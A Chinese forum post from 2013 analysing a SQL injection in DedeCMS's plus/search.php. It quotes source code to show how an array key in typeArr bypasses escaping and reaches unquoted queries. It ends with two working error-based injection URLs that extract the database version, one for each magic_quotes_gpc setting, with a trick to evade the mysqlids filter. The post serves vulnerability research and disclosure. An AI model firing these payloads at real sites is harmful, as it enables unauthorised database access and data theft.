dedecms最新注入分析(可过gpc)

2013-01-18 16:13:40 25 6026


Author:唐门三少
谢绝转载!



0x01简述
      前天在微博上看到知道创宇检测到了新的dedecms注入,原文如下:
#0day预警#近日,@知道创宇 监控到多个dedecms注射0day漏洞,经过分析发现,其中有严重且非常容易利用的sql注射0day。我们已积极联系官方并升级KS-WAF、加速乐等产品,请站长密切关注官方信息及网站安全。临时防御方法:1、关闭会员中心并在php.ini里设置magic_quotes_gpc=On 2、删除plus/search.php。

      今天在0x50sec上看到了相关的分析文章,大体感觉都没什么问题,但是测试他给出的PoC时,总是失败,感觉有点问题。然后稍微仔细看了下他PoC的内容,居然用@`'`=0这种方式来绕mysqlids!作者肯定没有仔细研究过mysqlids和mysql的用户变量。所以,感觉他的文章不靠谱,自己和几个朋友就研究了下这个漏洞。
       0x50sec上的那篇文章,在漏洞原因上的分析大体是对的,但是在细节,和PoC上都有些问题,所以,就有了这篇文章。
0x02漏洞分析
       漏洞的原因是typeid未做任何的检测,而且当传入参数$typeArr为数值时,会将$typeArr的key值传为$typeid,从而躲过前面执行转义的代码。下面我们直接来看search.php代码
<?php
/**
*
* 搜索页
*
* @version        $Id: search.php 1 15:38 2010年7月8日Z tianya $
* [url=https://www.t00ls.com/space-uid-6000.html]@package[/url]        DedeCMS.Site
* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
* @license        [url]http://help.dedecms.com/usersguide/license.html[/url]
* @link           [url]http://www.dedecms.com[/url]
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
require_once(DEDEINC."/arc.searchview.class.php");

$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;

if(!isset($orderby)) $orderby='';
else $orderby = preg_replace("#[^a-z]#i", '', $orderby);

if(!isset($searchtype)) $searchtype = 'titlekeyword';
else $searchtype = preg_replace("#[^a-z]#i", '', $searchtype);

if(!isset($keyword)){
    if(!isset($q)) $q = '';
    $keyword=$q;
}

$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));


//查找栏目信息
if(empty($typeid))
{
    $typenameCacheFile = DEDEDATA.'/cache/typename.inc';
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
    {
        $fp = fopen(DEDEDATA.'/cache/typename.inc', 'w');
        fwrite($fp, "<"."?php\r\n");
        $dsql->SetQuery("Select id,typename,channeltype From `#@__arctype`");
        $dsql->Execute();
        while($row = $dsql->GetArray())
        {
            fwrite($fp, "\$typeArr[{$row['id']}] = '{$row['typename']}';\r\n");
        }
        fwrite($fp, '?'.'>');
        fclose($fp);
    }
    //引入栏目缓存并看关键字是否有相关栏目内容
    require_once($typenameCacheFile);
    if(isset($typeArr) && is_array($typeArr))
    {
        foreach($typeArr as $id=>$typename)
        {
            $keywordn = str_replace($typename, ' ', $keyword);
            if($keyword != $keywordn)
            {
                $keyword = $keywordn;
                $typeid = $id;
                break;
            }
        }
    }
}

$keyword = addslashes(cn_substr($keyword,30));

if($cfg_notallowstr !='' && preg_match("#".$cfg_notallowstr."#i", $keyword))
{
    ShowMsg("你的搜索关键字中存在非法内容,被系统禁止!","-1");
    exit();
}

if(($keyword=='' || strlen($keyword)<2) && empty($typeid))
{
    ShowMsg('关键字不能小于2个字节!','-1');
    exit();
}

//检查搜索间隔时间
$lockfile = DEDEDATA.'/time.lock.inc';
$lasttime = file_get_contents($lockfile);
if(!empty($lasttime) && ($lasttime + $cfg_search_time) > time())
{
    ShowMsg('管理员设定搜索时间间隔为'.$cfg_search_time.'秒,请稍后再试!','-1');
    exit();
}

//开始时间
if(empty($starttime)) $starttime = -1;
else
{
    $starttime = (is_numeric($starttime) ? $starttime : -1);
    if($starttime>0)
    {
       $dayst = GetMkTime("2008-1-2 0:0:0") - GetMkTime("2008-1-1 0:0:0");
       $starttime = time() - ($starttime * $dayst);
  }
}

$t1 = ExecTime();

[color=Red]$sp = new SearchView($typeid,$keyword,$orderby,$channeltype,$searchtype,$starttime,$pagesize,$kwtype,$mid);[/color]
我们可以看红色的代码,之前并没有对$typeid做任何的检查和过滤。而红色代码便是进入SQL执行环节了。我们来看下这个环节的代码,首先是/include/arc.searchview.class.php文件
[color=Red]        $this->TypeLink = new TypeLink($typeid);[/color]
        // 通过分词获取关键词
[color=Red]        $this->Keywords = $this->GetKeywords($keyword);[/color]

        //设置一些全局参数的值
        if($this->TypeID=="0"){
            $this->ChannelTypeid=1;
        }else{
[color=Red]            $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");[/color]
            $this->ChannelTypeid=$row['channeltype'];
        }
上面的红色字体是执行SQL语句的关键部分,我们只需要关注第一个和第三个,因为$typeid只在这两部分起到作用。我们下面在看下TypeLink的代码,在/include/typelink.class.php文件中
function __construct($typeid)
    {
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
        $this->indexName = $GLOBALS['cfg_indexname'];
        $this->baseDir = $GLOBALS['cfg_basedir'];
        $this->modDir = $GLOBALS['cfg_templets_dir'];
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
        $this->dsql = $GLOBALS['dsql'];
        $this->TypeID = $typeid;
        $this->valuePosition = '';
        $this->valuePositionName = '';
        $this->typeDir = '';
        $this->OptionArrayList = '';
        //载入类目信息
[color=Red]        $query = "SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join `#@__channeltype` ch
        on ch.id=tp.channeltype  WHERE tp.id='$typeid' ";[/color]
        if($typeid > 0)
从红色的标注中可以看到,在这次执行过程中$typeid是被单引号包裹的。也就是说如果在目标关闭gpc的情况下,我们可以利用这条语句进行攻击。但是gpc开启的情况下呢?如果你仔细看之前的arc.searchview.class.php文件的代码话,就会发现一个很有好的利用点,我们再把这部分代码贴一下
if($this->TypeID=="0"){
            $this->ChannelTypeid=1;
        }else{
            $row =$this->dsql->GetOne("SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}");
            $this->ChannelTypeid=$row['channeltype'];
        }
可以看出,如果typeid不等于零,那么它执行的SQL语句没有使用单引号包裹typeid。也就是说如果关闭gpc,我们利用typelink的SQL语句,如果开启的话,我们就利用searchview的SQL语句进行。当然利用的过程中要涉及到过80sec的mysqlids的检测,这就不在我们这篇文章讨论的范围了,大家可以去网上搜一下,记得90sec上有一个人写过专门的分析文章。
PoC利用
      在开启gpc的情况下
http://target/plus/search.php?typeArr[1%20or%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20@`'`]=11&&kwtype=0&q=1111&searchtype=title

       在未开启gpc的情况下,虽然利用成功,但是在后面searchview的SQL语句检测中,会被mysqlids检测到,留下日志。
http://target/plus/search.php?typeArr[2'%20and%20@`'`%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b)%20and%20']=c4&kwtype=0&q=c4rp3nt3r&searchtype=title

关于作者

唐门三少17篇文章105篇回复

评论25次

要评论?请先  登录  或  注册